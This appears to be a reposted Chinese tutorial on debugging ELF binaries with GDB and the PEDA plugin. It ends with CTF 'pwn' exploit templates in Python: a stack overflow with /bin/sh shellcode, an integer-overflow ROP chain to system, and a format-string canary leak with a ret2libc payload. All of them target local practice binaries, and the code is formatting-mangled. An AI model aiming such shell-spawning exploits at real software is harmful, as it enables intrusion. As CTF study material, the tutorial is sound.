GDB分析ELF文件常用的调试技巧

来源:互联网 发布:超图软件工资怎么样 编辑:程序博客网 时间:2024/05/20 20:04

GDB分析ELF文件常用的调试技巧

gdb常用命令

首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试

为了方便查看堆栈和寄存器 最好是安装peda插件

安装

可以通过pip直接安装,也可以从github上下载安装

$ pip install peda$ git clone https://github.com/longld/peda.git ~/peda$ echo "source ~/peda/peda.py" >> ~/.gdbinit 

命令

  • aslr – 显示/设定GDB的ASLR(地址空间配置随机加载)设置 
    技术分享

  • checksec – 检查二进制文件的各种安全选项 
    技术分享

  • dumpargs – 函数将要被调用时,显示将要被传入函数的所有参数(默认会在反汇编代码下方自动显示)

  • dumprop – 在给定内存范围中Dump出所有ROP gadgets 
    技术分享

  • elfheader – Get headers information from debugged ELF file

  • elfsymbol – 获取non-debugging symbol信息(plt表) 
    技术分享

  • lookup – Search for all addresses/references to addresses which belong to a memory range

  • patch – Patch memory start at an address with string/hexstring/int

  • pattern – 生成字符串模板 写入内存 用于定位溢出点

    • pattern create size 生成特定长度字符串
    • pattern offset value 定位字符串 
      技术分享
  • procinfo – Display various info from /proc/pid/

  • pshow – Show various PEDA options and other settings

  • pset – Set various PEDA options and other settings

  • readelf – 获取elf头信息 
    技术分享

  • ropgadget – Get common ROP gadgets of binary or library 
    技术分享

  • ropsearch – Search for ROP gadgets in memory

  • searchmem|find – 在内存中查找字符串,支持正则表达式 
    技术分享

  • shellcode – 生成shellcode 
    技术分享

  • skeleton – Generate python exploit code template

  • vmmap – 可以用来查看栈、bss段是否可以执行 
    技术分享

  • xormem – XOR a memory region with a key

更多详细用法请参考官方帮助文档

技术分享

 

1. checksec 查看elf编译的保护选项。

2. file [file] 加载objfile

3. disas addr 对地址addr处的指令进行反汇编,addr可以是函数名

4. b *addr 在addr处下一个断点

5. x addr 查看addr处存储的数据值

6. r 运行被调试的程序

7. c 继续运行

8. ni 单步执行不进入

9. si 单步执行并进入

10.vmmap 得到虚拟映射地址

 

PWN题常用模板

单个发送(pwn库)

1 #coding=utf-8   #中文乱码2 from zio import *3 Thread = zio((./pwn))  #执行同目录下的pwn4 Thread = write(a*64+\x00\x00\x00\x01)  #输入我们的payload5 Thread = interact()6 //p32(Address) 把32位地址 写成0x形式  同理64位的也是

 

ZIO库

 1 from zio import * 2 from pwn import * 3 Thread = zio((./pwn)) 4 #shellcode1=‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05‘ 5 shellcode=\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50 6 TargetAddress = 0x000000000040066E 7 Length = len(shellcode) 8 payload = shellcode+\x90*(72-Length)+p64(TargetAddress) 9 Thread.write(payload)10 Thread.interact()11  

pwn库 有消息接收和判断的


 1 from pwn import * 2 Shellcode=a*112+\x5D\x86\x04\x08 3 Target=process(./pwn) 4 Target.sendline(Shellcode) 5 Target.recvuntil(:$) 6 #context.terminal = [‘gnome-terminal‘,‘-x‘,‘sh‘,‘-c‘] 7 #gdb.attach(proc.pidof(Target)[0]) 8 Target.sendline(zhimakaimen) 9 Target.interactive()10  11  

 

整数溢出型

 1 from pwn import * 2  3 #r = remote(‘127.0.0.1‘, 9527) 4 r = process(./pwn3) 5 r.recvuntil(name \n) 6 r.sendline(123) 7 #raw_input(‘debug‘ 8 ##构造结构可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。 9 ?10 #下面开始构造11 r.recvuntil(index\n)12 #-2147483648  -->0x80000000 *4后溢出为013 context.terminal = [gnome-terminal,-x,sh,-c] 14 gdb.attach(proc.pidof(p)[0])15 r.sendline(str(-2147483648 + 14))  #ebp+4的地址处  就是Return函数的地址  现在是一处地址一处值  116 r.recvuntil(value\n)17 r.sendline(str(int(8048470, 16)))  #jmp  scanf18 r.recvuntil(index\n)19 r.sendline(str(-2147483648 + 15))   #ebp+820 r.recvuntil(value\n)21 r.sendline(str(int(0x080487de, 16)))  # pop     edi22 r.recvuntil(index\n)23 r.sendline(str(-2147483648 + 16))  24 r.recvuntil(value\n) 25 r.sendline(str(int(804884b,16)))  #0804884B a9s      db ‘%9s‘,0 26 r.recvuntil(index\n)27 r.sendline(str(-2147483648 + 17))  28 r.recvuntil(value\n)29 r.sendline(str(int(804a030, 16)))  #0804A030 __data_star  804a030 是GOT表的结尾30 r.recvuntil(index\n)31 r.sendline(str(-2147483648 + 18))32 r.recvuntil(value\n)33 r.sendline(str(int(8048420, 16))) #system  #jmp to system34 r.recvuntil(index\n) 35 r.sendline(str(-2147483648 + 19))36 r.recvuntil(value\n)37 r.sendline(str(int(804a030, 16)))  #0804A030 __data_start    db    0 38 r.recvuntil(index\n)39 r.sendline(str(-2147483648 + 20))40 r.recvuntil(value\n)41 r.sendline(str(int(804a030, 16)))  #0804A030 __data_start    db    0 42 r.recvuntil(index\n)43 r.sendline(str(-2147483648 + 21))44 r.recvuntil(value\n)45 r.sendline(str(int(8048420, 16)))  ##system  #jmp to system46 r.recvuntil(index\n)47 r.sendline(str(-2147483648 + 22))48 r.recvuntil(value\n)49 r.sendline(str(int(8048420, 16)))  ##system  #jmp to system50 r.recvuntil(index\n)  #相当与让代码结束 执行ret从而执行到我们的流程51 r.sendline(-1)52 r.recvuntil(value\n)53 r.sendline(10)54 r.recvuntil(0 0 0 0 0 0 0 0 0 0 )55 r.sendline(/bin/sh)56 r.interactive()

 

 
 

格式化字符串

 1 from pwn import * 2 libc=ELF(/lib/i386-linux-gnu/i686/cmov/libc.so.6) 3 p=process("./pwn2") 4 context.terminal = [gnome-terminal,-x,sh,-c]  5 gdb.attach(proc.pidof(p)[0])        6 p.recvuntil(name:) 7 p.sendline(%p.*40)     #输出字符串  8 leak_data=p.recvuntil(messages:) 9 address=leak_data.split(.)            #将输出的地址分组 然后进行分组10 canary=int(address[30],16)     #这里为什么是 第30个11 stack_addr=int(address[33],16)-0x90+0x8+0x8   #这里也不懂12 put_addr=int(address[22],16)-0x144                  13 system_addr=put_addr-(libc.symbols[puts]-libc.symbols[system])14 ?15 payload =a*100+p32(canary)+a*12+p32(system_addr)+bbbb+p32(stack_addr)+/bin/sh\x0016 ?17 p.sendline(payload)18 ?19 p.interactive()

 

原创粉丝点击